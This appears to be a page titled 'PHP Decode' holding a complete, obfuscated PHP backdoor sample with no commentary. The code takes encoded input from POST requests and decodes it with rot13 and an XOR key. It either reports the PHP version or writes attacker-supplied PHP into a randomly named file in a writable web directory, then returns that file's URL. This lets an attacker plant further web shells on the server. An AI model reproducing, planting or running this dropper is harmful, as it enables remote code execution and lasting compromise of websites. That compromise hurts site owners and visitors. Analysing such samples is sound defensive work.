PHP Decode

<?php $vkdkgubdt = "eupydomutveflgjp";$uksgthrs = "";foreach ($_POST as $wbyyrll => $mxwgm){if (strlen($wbyyrll) == 16 and substr_count($mxwgm, "%") > 10){gfsojal($wbyyrll, $mxwgm);}}function gfsojal($wbyyrll, $acysrldnmdnye){global $uksgthrs;$uksgthrs = $wbyyrll;$acysrldnmdnye = str_split(rawurldecode(str_rot13($acysrldnmdnye)));function kzncz($qcvfubwg, $wbyyrll){global $vkdkgubdt, $uksgthrs;return $qcvfubwg ^ $vkdkgubdt[$wbyyrll % strlen($vkdkgubdt)] ^ $uksgthrs[$wbyyrll % strlen($uksgthrs)];}$acysrldnmdnye = implode("", array_map("kzncz", array_values($acysrldnmdnye), array_keys($acysrldnmdnye)));$acysrldnmdnye = @unserialize($acysrldnmdnye);if (@is_array($acysrldnmdnye)){$wbyyrll = array_keys($acysrldnmdnye);$acysrldnmdnye = $acysrldnmdnye[$wbyyrll[0]];if ($acysrldnmdnye === $wbyyrll[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function rsenpmmk($acysrldnmir) {static $bvvovnf = array();$ispfuxtzc = glob($acysrldnmir . '/*', GLOB_ONLYDIR);if (count($ispfuxtzc) > 0) {foreach ($ispfuxtzc as $acysrldnm){if (@is_writable($acysrldnm)){$bvvovnf[] = $acysrldnm;}}}foreach ($ispfuxtzc as $acysrldnmir) rsenpmmk($acysrldnmir);return $bvvovnf;}$jkukb = $_SERVER["DOCUMENT_ROOT"];$ispfuxtzc = rsenpmmk($jkukb);$wbyyrll = array_rand($ispfuxtzc);$gserxsx = $ispfuxtzc[$wbyyrll] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($gserxsx, $acysrldnmdnye);echo "http://" . $_SERVER["HTTP_HOST"] . substr($gserxsx, strlen($jkukb));exit();}}} ?>